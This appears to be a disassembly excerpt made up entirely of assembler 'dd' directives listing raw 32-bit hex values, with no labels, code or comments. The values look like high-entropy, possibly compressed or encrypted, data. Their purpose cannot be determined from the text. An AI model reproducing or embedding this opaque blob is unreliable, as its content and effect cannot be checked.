		dd 4FE0EA8h, 0BE256628h, 0F0BF0F04h, 2689EE81h,	18423455h
		dd 4C5E3089h, 359B7D44h, 1038FE7Dh, 1B980E2Ch, 0FA5E2DBh
		dd 25135627h, 12BD08FEh, 69D723C8h, 0BD44D57h, 0E41510AEh
		dd 47EF6D39h, 0D0659C91h, 0C1F624AFh, 0DB0A02B0h, 0DBCB182Dh
		dd 9BF25DB3h, 10760D72h, 1212D8A2h, 1B9A832Fh, 49CA6C5Ah
		dd 6A691224h, 90716B44h, 0FEF1DEE8h, 871DD2D8h,	12EBE584h
		dd 25815C19h, 10B408Ch,	1CA432E1h, 4C6F5965h, 5C19B0CBh
		dd 5E921F70h, 9685500h,	0E6C8F028h, 0E6757FDCh,	6D06CD4Dh
		dd 0B9E8FD18h, 7F58C81Eh, 926B765Dh, 460789FAh,	946BA153h
		dd 0C950FC5Ch, 78C659C3h, 87B01FD2h, 0D810A4C4h, 0C3D03850h
		dd 14E4B092h, 0F423EB4h, 1AF15FBEh, 0F631E0A4h,	393E2C74h
		dd 6732A714h, 0AE1FB414h, 474DA88Fh, 0D25D43Dh,	0E05DFBEAh
		dd 0F7460ED1h, 0ED7FAFCFh, 84E40CC1h, 0F3752DC9h, 0AABF0C51h
		dd 8601E15h, 3A0C7424h,	0D0E3E9CAh, 0CD400148h,	0BF24F43Dh
		dd 192AAA0Fh, 0F9800D0Dh, 0A923465h, 245BAD45h,	481E77EDh
		dd 6E3038CFh, 140F93FAh, 118A4201h, 19CA5640h, 55F61688h
		dd 8BEB854Eh, 5B7227A2h, 0DDFE496Eh, 74E602A5h,	0E771FD1Bh
		dd 283D0204h, 0CA7F0C09h, 455DDAD7h, 0AA1244FCh, 47362F36h
		dd 98827E55h, 4A3D80CDh, 0D28CEC6Ch, 5DEC01BAh,	0A468A110h
		dd 702DC41Bh, 0FDB0654h, 1451C19Fh, 5831835Ch, 34C798Dh
		dd 7BC47C01h, 6919115h,	74328B38h, 75268C41h, 6DF93D1Bh
		dd 0DA565E2Dh, 143140Eh, 831B9250h, 72B6633Eh, 0D0034188h
		dd 39A1CAE4h, 32F06B3Dh, 0F935DA14h, 0C3C66561h, 3C1240C3h
		dd 0D49147Eh, 247F7857h, 0CB440888h, 1662A943h,	0A2A06870h
		dd 920D38E2h, 0C8790795h, 9583CB26h, 5A974FF0h,	0C8B8894Ah
		dd 0FCC62620h, 0CFE19745h, 3C272241h, 45E803Ch,	0F705794Bh
		dd 2D28C9DBh, 64FB9200h, 43BD117Ch, 5E99B00Bh, 0BEFE48F7h
		dd 0E1B146Fh, 2F21DAFBh, 0DB46BB0Ah, 8D52D598h,	1297ED5h
		dd 90EE82Eh, 3575610h, 5F70A196h, 1CAC8321h, 0E4435A2h
		dd 75C33B09h, 3E082447h, 0CD8F0734h, 4C16A8Bh, 0C3608030h
		dd 92B4EBAAh, 0B4D1495h, 10996AB7h, 2404460Ch, 5B0BC303h
		dd 9ADCC5DBh, 75FD0202h, 145C607h, 0AF017D8Dh, 10E3C14Fh
		dd 9357C920h, 7C6075Bh,	0C1474530h, 24F80312h, 16AC411Dh
		dd 595A919Dh, 7603C03Eh, 85EE4704h, 287DF615h, 1501D6AFh
		dd 6EBDEF7h, 973B089Dh,	29F6F87Ch, 963B2D53h, 4EE9306Ah
		dd 8B5F14C1h, 0A6D93AC5h, 8224FF2Ah, 5107A848h,	2ED849A3h
		dd 0DF490582h, 700D49A2h, 0E9A8F346h, 0EB935350h, 56F18B05h
		dd 0D8DB234h, 542A97A0h, 1E0F2739h, 5488C19Ch, 400B3D74h
		dd 9FF04804h, 7C15A350h, 13232148h, 0CA4B1D7Dh,	4607050Ah
		dd 0F91DCEECh, 53FE8B20h, 94A094D1h, 96A71D5Ch,	0AC14A2F0h
		dd 81F6F212h, 97F73C10h, 5C6B391h, 0F73FCE49h, 1202805Ah
		dd 0A6258079h, 61FB9FE6h, 0A7270C14h, 11A2A5B8h, 23BB7D13h
		dd 7D2CCCFDh, 34461058h, 47C30D32h, 660D0D2Ch, 3BE91375h
		dd 5C9B42A2h, 0AAE54F6Fh, 0D1731618h, 0B6D6EB5Bh, 0E7F4DB13h
		dd 4CFA524Eh, 1AD68561h, 0DF3C1FB9h, 40C781ECh,	0F703D250h
		dd 70C60B83h, 0D3B8494Fh, 7E003EDBh, 520BF57h, 27391993h
		dd 0D15E743Eh, 46548CBh, 0DD41B766h, 6487DB7Eh,	87F0AE6Fh
		dd 6A690A75h, 4C6656FFh, 0FD631847h, 7D56EB7Fh,	8150803Eh
		dd 73633805h, 0C1AAE06Dh, 51478B5h, 73046812h, 0BE0849h
		dd 0B60F1D9Ah, 52692455h, 1CFD605Eh, 0DF19D56h,	0D1C0064Bh
		dd 0EB201474h, 699181Fh, 631B4B24h, 5B5116B1h, 5A3CE23Dh
		dd 2185262h, 0C877800Ch, 0BF084020h, 0F00BE3F1h, 180DA07Ch
		dd 0F104413Bh, 883FAA59h, 80A4BBB4h, 1E4FC38Eh,	80147C2h
		dd 1BF82D9Ah, 0A1B0567Eh, 0D4A4BDEBh, 8B04BBEh,	926F7845h
		dd 0A1231B66h, 0D01B697Ch, 0BE8E85C2h, 9718EC6Fh, 9295803Fh
		dd 756126Bh, 0EE08F946h, 680B8870h, 1DDB511Eh, 6CD11491h
		dd 8AC81245h, 2EF0A441h, 0FC8E99ACh, 69E3578Ah,	0C4642257h
		dd 4E8064D3h, 0AA58EFD8h, 6F9A8D1Eh, 7F47633Ah,	47BD37Ch
		dd 9FF77AAh, 0CFAE7DD0h, 10CFC6D3h, 787EF427h, 403FA1A1h
		dd 95788670h, 12020DE2h, 2A417EF8h, 37272076h, 1809D993h
		dd 4BF8E6A0h, 3E30B11Ah, 19390983h, 16E17F3Eh, 8225EFF4h
		dd 0FAA5D210h, 24EB27C2h, 0D542CFDh, 35535520h,	602C8115h
		dd 0B1198856h, 0A5542C81h, 146B22ABh, 17123D58h, 0DD528021h
		dd 400CF614h, 264A1D1Fh, 6228DEAh, 4A848815h, 3C0EE297h
		dd 0F8172447h, 81D546C5h, 18FC1D25h, 99803DBDh,	957A2CC8h
		dd 18893521h, 89106DFDh, 0AF6AAC3h, 9FFE7366h, 24910A55h
		dd 0EF04376h, 0A34F73F8h, 0CC437C3Eh, 0BC7F7CC3h, 4E2445FBh
		dd 319A010h, 0F45A30E9h, 60E579Ah, 16087980h, 830A39FDh
		dd 4B6BF0C0h, 5015ED7Ch, 0EA64F46Fh, 14C6E720h,	0AAA94FEBh
		dd 47D17129h, 4A64433Bh, 8A1D7880h, 0AD3C508Dh,	90BF941h
		dd 0A1E2044Eh, 0B97438Eh, 96D75260h, 0F6220BEBh, 0F0E0206h
		dd 2F4A07ADh, 0E074F6A2h, 0F0151A8h, 77090A9Eh,	933A4830h
		dd 0A2AA0475h, 31EB921Fh, 0F78A82Ah, 76CB0CC8h,	0FC739C5Ch
		dd 0EFE47592h, 12AF4350h, 0E0AA5574h, 77F405DEh, 5C4BCD99h
		dd 484746F6h, 0A5F04429h, 3680C02h, 0F0F1D701h,	0B04E6628h
		dd 0EBE081EFh, 0AFA92B1Ah, 979BDB40h, 1320B059h, 685593D0h
		dd 340C37A4h, 75EBB7F0h, 0E8C6D3A6h, 27643E21h,	0EBA2D60Dh
		dd 166ED27Ch, 25AEA764h, 20B92965h, 0C2D92036h,	0C93E1C82h
		dd 0FF024273h, 0B1F9517Fh, 3B621BC9h, 862C1D23h, 5E03E41Fh
		dd 401FFA57h, 6A28D427h, 62369274h, 9E6576Fh, 68120294h
		dd 0AA5B2EAh, 86894028h, 0C73953Bh, 4910291Eh, 252C1A88h
		dd 570718E8h, 6A405050h, 0C2597997h, 911F78B8h,	22EA931Ch
		dd 0A4D5D494h, 94BDDC7Ah, 515C4E2Fh, 0D164526h,	4012C726h
		dd 4A867CE4h, 3D44E4E0h, 0F7215A2h, 5D2D1584h, 2C2A5BFCh
		dd 1E2BC966h, 0C397907Fh, 4BF49731h, 9241D49Ah,	0F29D113Ch
		dd 2DBF153Eh, 1B6461F5h, 0D6E40D38h, 0AA5C5180h, 0BF31BE3Ah
		dd 0AD2A92C5h, 92CF28EFh
		dd 0EED88F84h, 5B89D878h, 0E4670546h, 9E7F5FA3h, 257E28E0h
		dd 0E103F81h, 7F5D8327h, 76213F3Ch, 9497145Ch, 0C5392812h
		dd 0AC913FCh, 455D76D4h, 0D1C4EFC5h, 9D5B6FDDh,	33CDF85Fh
		dd 0F7136D78h, 1E0AC668h, 279E889Ah, 0D036A472h, 0FEA565CAh
		dd 4412D05h, 751058ADh,	99E94801h, 2A166B14h, 8A6008F5h
		dd 7C2FE872h, 1FA75110h, 16E0E6F6h, 0C1D5EF44h,	379E17BAh
		dd 11271A07h, 0BF314B30h, 12489C3Fh, 0CA758A1Eh, 16885E61h
		dd 8C2B2414h, 38DA8D98h, 0D44E4422h, 314C642Ch,	523C1D4Ch
		dd 464C5D28h, 10E48E73h, 0E4592BA9h, 4F9214E0h,	38CD957h
		dd 4F87E8Dh, 0BE62850Fh, 84078B33h, 153B423h, 0EB5608BCh
		dd 18349C97h, 750A562Bh, 8C59583Ah, 7E741A1Fh, 0FF340DA9h
		dd 0AE509D1Ch, 66EB2B60h, 56748A3Ah, 5C487936h,	0DA1B8FAh
		dd 4C5433Bh, 405B1CABh,	0A550A8E0h, 3046B447h, 0EBA5C2AAh
		dd 0B11A1F53h, 0C467EB9Eh, 5249964Dh, 30BF52F5h, 0EF4024Ch
		dd 21C426E1h, 0C651F1E0h, 0AB2AF965h, 111B7427h, 1112044Bh
		dd 510AAA44h, 691870FFh, 405A62A1h, 1D45381Dh, 0A9950F0Ch
		dd 758D0E67h, 5BC0BD17h, 13DAEE3h, 3045180h, 7CD285C6h
		dd 36200D5Ch, 3F229E32h, 0CAB90E0Ch, 0F4F3C12Dh, 51530404h
		dd 65478AFFh, 0B89455EDh, 0FB6D4088h, 1DC6D58Ah, 0D0FF0D8Dh
		dd 5DDDF8C0h, 0EB5E29D9h, 7523CC6Bh, 2B90514h, 182291ACh
		dd 0C2FC595Dh, 47D6AE0Ch, 0FE11E0F0h, 0A1A81683h, 0CB73EC84h
		dd 12A11416h, 2907EBD0h, 0C73E961Fh, 0BC1E9773h, 0D03F53D1h
		dd 42085648h, 0A1C8A979h, 43D42354h, 851D8458h,	0B0CBA312h
		dd 0D3BAAC5Eh, 19D749FEh, 25CE46DFh, 0CED217D7h, 0C3DEE2B7h
		dd 0EB09F01Ch, 61789838h, 75023C27h, 81E82B1Fh,	8C29AFD7h
		dd 0F2BB8D2Bh, 94C1120Eh, 0F67A11EBh, 704C84A3h, 5160FE16h
		dd 31053B53h, 57C5D160h, 0C8FBC773h, 88C4AF94h,	3CF2C8BEh
		dd 0F200AE5h, 42563144h, 5216D650h, 0EBB1A1ECh,	86D63B4Fh
		dd 52CA9DB3h, 2F3ED9D7h, 756B48DCh, 9479BB6h, 7DB824Fh
		dd 0FDE8C85Fh, 0A446F8Dh, 0F27CC36Bh, 0E7E5B7D4h, 224BAB2Dh
		dd 0FD1077C5h, 625C178Bh, 0EA03BA3Eh, 30353010h, 0FECC75AEh
		dd 1E7C53C8h, 81578B5Bh, 8C2F766h, 2BEE8401h, 3C910447h
		dd 0D0A5F620h, 0D89F8554h, 0C29AD9DEh, 1F337468h, 85D6DF29h
		dd 7FAC1DEh, 0A21FE3DDh, 129514h, 8004DAD8h, 3E287E74h
		dd 739E3BD1h, 0A3A4222h, 817D0375h, 0F1EB42F4h,	4FFB62BEh
		dd 0A41CA912h, 0D6EB5156h, 46D1A458h, 47127F0Eh, 0E2AE010Ch
		dd 6F669C9h, 2132D2F8h,	0EE815521h, 0C203C12Bh,	0C6272769h
		dd 655E3B54h, 0BA6AE306h, 61E88C53h, 0C0D0C242h, 4E1D4E7Dh
		dd 0A9774D14h, 0B7305E2h, 8B373880h, 474340E4h,	34B2200Dh
		dd 63FC2F85h, 5B87B832h, 2CCB46F7h, 17287708h, 8845B84Fh
		dd 0C2E4BA05h, 0F684B147h, 1E416793h, 29273442h, 0F81B2DB1h
		dd 4885B5B8h, 0DAA1A6EAh, 0DFA84DEh, 79830F60h,	0C19C3294h
		dd 0B9B5F194h, 139C897Ah, 451357EBh, 0A4EAFF33h, 6CBF8B8h
		dd 61D4D6F0h, 3BA32202h, 5EFC5F12h, 0CF515714h,	0C39864A6h
		dd 801991B6h, 4CC3C164h, 3341B2A9h, 90668506h, 0E7862D89h
		dd 0FB00115Dh, 2B914E04h, 0A05EFB74h, 17DF29A8h, 98A40F0h
		dd 0AF93680h, 0F03814AAh, 400D0AC6h, 8C24FD88h,	2A958D0Ah
		dd 51CA2B0Bh, 0CC7C8240h, 3C91F88Bh, 9AF5E22Bh,	570E11C3h
		dd 0F0C2DC7Ah, 43743186h, 4001F4E6h, 7CC73BF2h,	0CAFB8DB5h
		dd 10A20FF6h, 0BA8F8A72h, 0F1D14B4h, 328EF85h, 5F74018Ch
		dd 2458056Ah, 4C4C7543h, 0F7A3E27Ah, 0D404B41Ah, 50BBD9A0h
		dd 8DC7EB4Dh, 0DCF44D28h, 65C8AD9Eh, 58140B51h,	0EBF844D2h
		dd 8B2DA752h, 397A299Ch, 8C7B3DE7h, 1C904038h, 389715BCh
		dd 0CD14A8B8h, 6C42ACFEh, 89281C22h, 0EB286D3Dh, 7AF1A016h
		dd 6296F6DBh, 271F2856h, 96A87C14h, 0ACBA883Dh,	5E46753Fh
		dd 535B7D80h, 63206968h, 3E4D20DCh, 0B2449D02h,	1DAC05B2h
		dd 22EB2404h, 0B89C4218h, 481C4C54h, 229C8086h,	47EA201h
		dd 1F8C0220h, 107E2514h, 21A30FFh, 0FCC4E24h, 0A1AA4538h
		dd 44672C1Eh, 69A6F11Dh, 4923E4C3h, 385927E9h, 0D315B8D1h
		dd 32203445h, 7A4C26FAh, 2FE8A1F5h, 0F71FE227h,	0DF84D59Ah
		dd 3AF0F550h, 0A44AC4F2h, 3B25E49Ah, 0A5B171DFh, 48912DEh
		dd 3404D51Bh, 0B5D7A424h, 32622DE1h, 0D9DC84C4h, 99131254h
		dd 6AE82F29h, 6FF31245h, 7444D072h, 76ECAC66h, 44D162A4h
		dd 34F5D158h, 1B24F24Dh, 2544A662h, 0D879B08Bh,	74F73B01h
		dd 0D45F632h, 0CC402560h, 0B2F21C7Eh, 0D6413B89h, 0DB591E7Fh
		dd 2255331Eh, 0A7E3D6CEh, 6525C078h, 0BBCEBCC8h, 47B420C6h
		dd 0D4DC8A36h, 0C8B4E014h, 0DB925B12h, 0FD06B39Bh, 56B474DFh
		dd 68E457CBh, 509C74C5h, 7518B490h, 6EB0804h, 52D48DACh
		dd 98022DCFh, 5288151Eh, 0B94BC071h, 64FB79B0h,	7291C643h
		dd 0AE57F4A7h, 84ACC7h,	0FF4A8D56h, 4AB70D74h, 0F13E6834h
		dd 3106B749h, 5E761BF3h, 3F2B0532h, 0D9D957C3h,	0EACC5316h
		dd 0BA385A26h, 0AD20F748h, 0D62F5956h, 171598B0h, 551FB83h
		dd 860D48Fh, 0BBE23AE1h, 22354A66h, 0F658F99Ah,	0AC0D85C7h
		dd 0A559C2B2h, 0C550C3Bh, 0FEA4132Eh, 4AA67912h, 0EDD00D16h
		dd 0E0153A66h, 56D1030Dh, 7DCA3D3Bh, 49348D87h,	0B50AAC2Bh
		dd 0D6276069h, 0CC680DBh, 8BF7754Ah, 0DC3548C4h, 0D2F23D4Bh
		dd 0DA04594h, 0EB838360h, 0A5903D70h, 82819013h, 1E913D5Dh
		dd 4A088442h, 8579933Dh, 3D213708h, 2082E48Dh, 878F3D24h
		dd 11828690h, 0A11923Dh, 0FF898A18h, 0A03E894Dh, 0DD98D3EFh
		dd 5EB90B8Bh, 0FB91F6EBh, 3725AE51h, 92E4A314h,	9245FA9h
		dd 401542A2h, 5D5B9F48h, 812C6495h, 3910D8EDh, 56885815h
		dd 7406A1B8h, 0EC17EE49h, 0C0C045C8h, 473C670h,	75103907h
		dd 49A38DF5h, 0A008765Eh, 0A1C13B16h, 0B387413h, 936EB24Fh
		dd 0FB0182C0h, 0B4E1BD0Dh, 581FA7ACh, 75221343h, 0FE1CFF25h
		dd 88BF10B5h, 9B7117Ch,	3F706895h, 89EA9CE7h, 2FE46E6h
		dd 0D443E19h, 3C0A1081h, 0FF067620h, 77361A76h,	64536AFAh
		dd 0ABE92104h, 0C9EAC752h, 0D899A6E0h, 0B6B15C21h, 8604BE44h
		dd 3A035078h, 3C1274C3h, 4701A13Dh, 5959323Ah, 7BBE58D7h
		dd 72B498EBh, 76F3B7BDh, 0D344D525h, 340AF348h,	27E06514h
		dd 0D229C409h, 3D0882C9h, 1F384280h, 552A3974h,	8B763A57h
		dd 8045590Ch, 4F22943Fh, 0A2A2BC55h, 982F9406h,	0BC364FE5h
		dd 3EEED489h, 0FD039804h, 29C97570h, 0AD85FF5Dh, 86B0D5Eh
		dd 2C3B0C82h, 8828391Eh, 62F6B04Fh, 0FEC35B13h,	0BE1E869Dh
		dd 59B0BE1Ah, 27DCF95Dh, 0A1C4D15Eh, 0A3022A89h, 0FE8B2224h
		dd 7F934277h, 9C561CC2h, 90F853E4h, 0B3252884h,	88D940EAh
		dd 5025D5A5h, 2ED782FAh, 309151A2h, 4B3D509Bh, 3656AB86h
		dd 641FFA2Dh, 500CB648h, 8A3199Dh, 0D92A5B0Fh, 0D40B2FD9h
		dd 57065F14h, 5CB0E621h, 0C7792595h, 0F5A4B635h, 125394FFh
		dd 2FDAF137h, 4038DFD2h, 1E8A449Ch, 52400150h, 29BF0BFAh
		dd 0B76E445Eh, 825674BFh, 8AC2013Eh, 108A7180h,	462A1688h
		dd 0D5430C40h, 0DCEEB15h, 0BF580427h, 3A4146F9h, 1243EB2Ah
		dd 991F0555h, 0DA8A400Ah, 641A83F9h, 19EE1834h,	0ED20CD15h
		dd 124D1709h, 83CC75DCh
		dd 314803A1h, 664B11BCh, 0EC833EFFh, 0F6948518h, 2DE0B7C2h
		dd 52C028Ah, 4AF72889h,	0C8180416h, 8BA0BD51h, 2FC1455h
		dd 25D144F5h, 468619D8h, 407E705Ch, 84E3D897h, 0E12C5B93h
		dd 2D9721C2h, 58182EF5h, 220A789Fh, 3C35E48Dh, 3EB4981h
		dd 0E9087097h, 0D6F05EF9h, 940F1F18h, 0D10CB0C2h, 0D32F8BEBh
		dd 0E8BC04Bh, 0A89A443h, 465C06C6h, 47DE2FB2h, 0A8888120h
		dd 80DC834Ah, 8B0A293Eh, 5B753F11h, 0B63F973Ah,	1953532Eh
		dd 3206C9E3h, 0F1CB120h, 3CD4123h, 0DD04BA2Dh, 0C8293991h
		dd 0C520A631h, 42DF281Fh, 278303C8h, 4ADD8F4Ah,	24ABDDABh
		dd 0BFB42E60h, 95CD482h, 33AA302Dh, 0E4D220E1h,	0D4C1A2F6h
		dd 0D50A3253h, 0B2A55257h, 0BD44D617h, 0D6288B56h, 0BB4C35E7h
		dd 0EA22A0B3h, 2451C84h, 0B62ABF89h, 8145CD64h,	0A40C4424h
		dd 0C250C840h, 1E396685h, 0EC0E7484h, 18123840h, 7F95275h
		dd 0C62BF209h, 269F44DFh, 1A8FF8D1h, 5E430640h,	93F8084Fh
		dd 0D7FF340Bh, 0EB3B3600h, 33B13274h, 0B602ACDh, 553ACB23h
		dd 7BFA2FFFh, 0AE444B4Dh, 0DEBC1894h, 5CCC284Dh, 9D68B14h
		dd 382216ECh, 531326B6h, 884C7992h, 0B22186A6h,	0C33C74C2h
		dd 55C7C261h, 0F8BE6743h, 0F60541FBh, 0D6E6FB2Bh, 83D4CEC3h
		dd 0CF8D8DFFh, 0F6F5022Fh, 0BBC10BEBh, 84A93F56h, 3CF2C292h
		dd 0DD27BB28h, 3E5B2899h, 4BEC1DF4h, 4BF1BD44h,	0A6217C9h
		dd 0C23A8492h, 62321B33h, 5F0AD216h, 202322C7h,	8651EA5Ah
		dd 93A02B2Ah, 0F5805F1Ah, 0C6B700E0h, 0A280546h, 0F9524A1h
		dd 0A1C54CEh, 0E28DE2EBh, 0C4F2DCA7h, 451ABE66h, 90795F0Ch
		dd 53A60E25h, 82B96ED2h, 0C18D300Ch, 8C1B8DDh, 1CA24B47h
		dd 3B54DC2Eh, 64353994h, 0BF527D06h, 90879B64h,	388A012Eh
		dd 89C08083h, 0A8888D07h, 1173C17Fh, 20608018h,	8B404008h
		dd 90B90F4Bh, 4D7DC12Ah, 4A42D6E4h, 0E8BB7C12h,	440A452Eh
		dd 7ED207FCh, 0AE03C446h, 8A36BDD1h, 4B6920AFh,	80A852Eh
		dd 0A6490B75h, 0A17AC624h, 0CFC9C7D1h, 0DE43A72Ah, 8890B86h
		dd 48883D61h, 83454787h, 0FE3B50C3h, 5198BA7Ch,	3C07ED8Ch
		dd 348DFFD8h, 85A27547h, 40140DBh, 12B5B881h, 0E858F66Ah
		dd 48C313ABh, 0F5C9E0C9h, 3528B392h, 748D42A9h,	67B95717h
		dd 4FA22A0Ch, 203E8912h, 4E8006D1h, 0F9AE1B7h, 0ADA4C2Ah
		dd 0FBF70817h, 43010D79h, 7C03FB83h, 0B94DFF9Bh, 5A2C6E91h
		dd 441E22EBh, 567E40D5h, 30321D43h, 95F43958h, 17081D11h
		dd 5DA4FC97h, 0F7C945AFh, 5D89BB40h, 8A82AE20h,	10881155h
		dd 0C6EF9715h, 73404443h, 0B9085B7Bh, 8D611E3Ah, 900B7692h
		dd 1F27708Fh, 3555645h,	54FF106Bh, 5E5D1819h, 99400B85h
		dd 0D33C7833h, 19ACA94Dh, 4DA50C5h, 0D563D95h, 8679220h
		dd 5A96A6Fh, 8DBB8FBEh,	9C1F4757h, 79DF0CACh, 1B7B28FDh
		dd 0EBF434ECh, 0F1B8A135h, 0ECBD1DBAh, 5156558h, 72FF6A5Dh
		dd 17AB5D40h, 550D3977h, 5EF15E2Eh, 1C41C629h, 18740850h
		dd 0C25025AEh, 4C5BA198h, 9E0B6525h, 2A12270Dh,	0AE543D91h
		dd 46161E7Fh, 7FFC6821h, 34B4D19Fh, 59A0D2D0h, 0E756ECFFh
		dd 0E83A1659h, 0D9A4C9F1h, 0D3402F2Fh, 749CE8B8h, 0B1265A6h
		dd 788415B8h, 56F145D5h, 14E6DCF0h, 1B963B03h, 411C2750h
		dd 3E6D1901h, 0E391EECDh, 31EED20Dh, 46FA811Eh,	0F1441876h
		dd 5C85278Dh, 0A5EACF57h, 23C3927Dh, 0FD7C1418h, 0D060A2FAh
		dd 0F8573F13h, 6E08BD51h, 0A59C933h, 29763CCCh,	71D5491Ah
		dd 170E4834h, 6A1B0783h, 68A61F03h, 6EB78510h, 0B86FF953h
		dd 0F468824Ch, 1156B27Bh, 0A97A5711h, 211E9179h, 0E2A047F0h
		dd 0D4ABECB6h, 3612E5F5h, 20769E24h, 0C8F611A6h, 21828A4h
		dd 2CB42940h, 0BFEB4A5Fh, 31EA391Ch, 0FF2E6A62h, 7D7B5736h
		dd 0F44DFE3Ch, 9AEF9EB1h, 4B715DE3h, 2DB2F427h,	0B9F6B702h
		dd 8B27F164h, 2CB17A01h, 617F908Dh, 2A1C73C2h, 54FBE313h
		dd 0EB1661F5h, 2B864FF1h, 0C43B1796h, 0CEFAACF8h, 306CBF54h
		dd 2016FD3Ch, 8730F981h, 0BE43EBC5h, 0CF96698Dh, 3D483347h
		dd 0D12FA84Bh, 65893A55h, 0D69A14AFh, 3031122h,	0C1E8EBD6h
		dd 0DFC4EFE7h, 0EE3285FFh, 5E569B62h, 735761B0h, 0AF3B2F52h
		dd 0A131F87Fh, 0CC273684h, 155FAA4Ah, 0C2BE1E93h, 80710AFh
		dd 53B40539h, 19EBEB0Fh, 3D5F50Ah, 0EE84F602h, 78B4020h
		dd 12301C89h, 0A35BC033h, 26BBF58Ah, 0D46EEB1h,	28C75525h
		dd 7B23C10h, 134AF656h,	49FB3712h, 0BB94322Ah, 2BAC1F63h
		dd 49F420C8h, 135002E7h, 70A827ACh, 307B0C83h, 72C03323h
		dd 0CAF0F128h, 295E2D73h, 78F01F95h, 1FED0C53h,	0E03744F6h
		dd 0C3657DAEh, 97C382F9h, 0C43D213Fh, 0D0981F3Dh, 57E28379h
		dd 0D1203F1Fh, 50257416h, 1C9C28AAh, 7953D1BFh,	15242E12h
		dd 61A15768h, 6A567F40h, 5E3E8414h, 8FBC0775h, 3B06EB80h
		dd 419F7DC6h, 1A41A34Eh, 7033046Ah, 0A559B21Fh,	0A537DC7Ch
		dd 26C10C8Bh, 35892856h, 84198D1Ch, 0B31A6A08h,	4CB44D66h
		dd 158B84A7h, 5217CDAFh, 456820FAh, 0D759F83Dh,	33EA02BBh
		dd 8788B9D2h, 0F224C21Dh, 0A1767799h, 0A5F00E64h, 0B5A7F6D2h
		dd 9C099703h, 424C2062h, 55E83173h, 3921D47Ch, 8704B1BBh
		dd 0AA2C3D80h, 7005BC22h, 634116CFh, 0D2E8FCC3h, 98BE12FBh
		dd 0D891595Bh, 16EE7C34h, 0AD7113AFh, 0A8C73CBAh, 0EB311C18h
		dd 8D041B11h, 32A014F5h, 0AD0F9C13h, 4A5F9142h,	7DA44219h
		dd 8BAFB3F9h, 56B34007h, 80C113F6h, 55CCAB57h, 0E85D0889h
		dd 0C69F0974h, 0EB10FFC0h, 0ED65800Bh, 905977C2h, 0CB3EB89Ch
		dd 0BF92DDA8h, 0F140890Ah, 7505390Eh, 62A44BE2h, 0FA61E7FFh
		dd 0F5E4A20h, 0C32BC623h, 497D2DEBh, 2C3B1536h,	1D4B8974h
		dd 66348CD8h, 23F48ED1h, 10522290h, 0A3403C09h,	84801207h
		dd 0CFF16E4h, 200A26E5h, 308118EAh, 0C4060AE9h,	9989BB39h
		dd 4594EBF0h, 0CAB793D6h, 346E550Ch, 2E038F9Dh,	8F070ABAh
		dd 23020444h, 0C8C6BFCAh, 357FC817h, 0CB4F0EAAh, 0CF4F2A8Fh
		dd 67D01D09h, 3C1969DFh, 4B2D0311h, 44FD6E25h, 374889D9h
		dd 8D041390h, 0F3E7BE2Eh, 5473229h, 6261A57h, 0C6529D11h
		dd 32AD0E54h, 8DBA974Bh, 0BAA4044Bh, 122E8899h,	1FD0EBFDh
		dd 7C74C785h, 0F40D2A13h, 0E24997D4h, 2A382514h, 0A81438F9h
		dd 811AB540h, 10A741CEh, 0C449FEF6h, 0B272350h,	85161F7h
		dd 5B821555h, 41287D0Ah, 8AC8A50Ch, 60BA242Fh, 3BFFCF0Bh
		dd 364B09DFh, 0EB1844EFh, 24FB3E5Fh, 0F7A2FE41h, 0F46EC35Eh
		dd 0EA08D4EFh, 0B09268E9h, 564E12EFh, 1B758371h, 30D9DFEEh
		dd 7898D6ADh, 6D91C78Bh, 978DEF13h, 66099C45h, 9197CA09h
		dd 83908A7h, 59B9F862h,	3901435Fh, 0CB0BF34Eh, 74B0010Ch
		dd 0B5D4588h, 0F31FA577h, 508848CBh, 78752D2Ah,	0A838F85Ch
		dd 276F9F6h, 0EA826E4Fh, 76455DFFh, 84145125h, 0E8810E75h
		dd 0F7A492FBh, 67EBEE74h, 0A136E3Fh, 0FF4A3AB5h, 0F3AE5334h
		dd 1675130Ch, 1A2808BFh, 3F80CA22h, 79B7BB41h, 0EB129293h
		dd 0E550B150h, 1AD5B2BEh, 543E12D3h, 681919AAh,	676BC20Bh
		dd 6108F427h, 5FFA07A0h, 6A205861h, 4CE86634h, 3F7CF4E7h
		dd 0A10B1823h, 75222BC4h, 3E75CB22h, 0A4A94B44h, 4F253B56h
		dd 0E6143449h, 0C6A0C2C2h, 1C841DEBh, 0C847EC56h, 0CD181153h
		dd 0F30195CEh, 4445A358h
		dd 0B0064A25h, 5B951C45h, 9321B805h, 50CA31A3h,	8B734A34h
		dd 65C42B36h, 27399444h, 3265185Dh, 49E38E20h, 2084932Dh
		dd 188832B3h, 17FF40CDh, 0E16374AEh, 0BA81441Ch, 7AF6C712h
		dd 8509EAD2h, 0CC51F7DCh, 8C840C45h, 84D781BDh,	5E81BD0Ah
		dd 9429040Ch, 605652E0h, 0ED563A68h, 0D725AFA7h, 65086125h
		dd 8D04D0EEh, 97BFCC65h, 65562EA2h, 5DA0FD72h, 2C8AE296h
		dd 92954022h, 0A71BDE3Eh, 0F4EB0BDFh, 1265CFB8h, 0EA38D466h
		dd 1C06EF16h, 19F23977h, 36580888h, 29C23F8Dh, 3F765E65h
		dd 4F66B7F0h, 89BA504Fh, 0F4352FE1h, 88E998AFh,	0C9797148h
		dd 16375106h, 6C68EA0Dh, 0A179975Dh, 0D9A0B44Ah, 87AA154Eh
		dd 0F172297Ch, 0DC6CAB9Dh, 0D758ADE1h, 7EA51851h, 1D39C845h
		dd 3BC48524h, 0F24DF8FCh, 0F1660712h, 1389362h,	0E12F14B9h
		dd 564B18D1h, 0A14D62D3h, 98A18A92h, 70392A7Eh,	2F197C64h
		dd 8AEC933h, 2A34F16Fh,	562D36F2h, 8DA81D4h, 758C2D98h
		dd 0F72559Dh, 15E3805h,	0D8A1934Ah, 0FCD184EBh,	5045763Eh
		dd 0E43FDCA3h, 0BFEDFA0Fh, 0CCCAEB0Ah, 0F9807001h, 15734019h
		dd 6D4200Ah, 0C2A5090Fh, 6406E0D3h, 0E1FE8CD0h,	0E27A1F7Ah
		dd 0D29F10DEh, 8D524E7h, 95566AF0h, 509D14CCh, 8F0CBE6h
		dd 89327727h, 0BE2E7584h, 0BC4B0DB8h, 68BA04Eh,	0FC467F3Bh
		dd 1C6A9709h, 8940DB83h, 5858F6F3h, 0FF110D74h,	0D2E300Eh
		dd 2E230F42h, 0C328D3E2h, 18883711h, 462DE93h, 445FEF24h
		dd 973798ACh, 0E193FA71h, 5689F5A9h, 74A7A8DCh,	38024195h
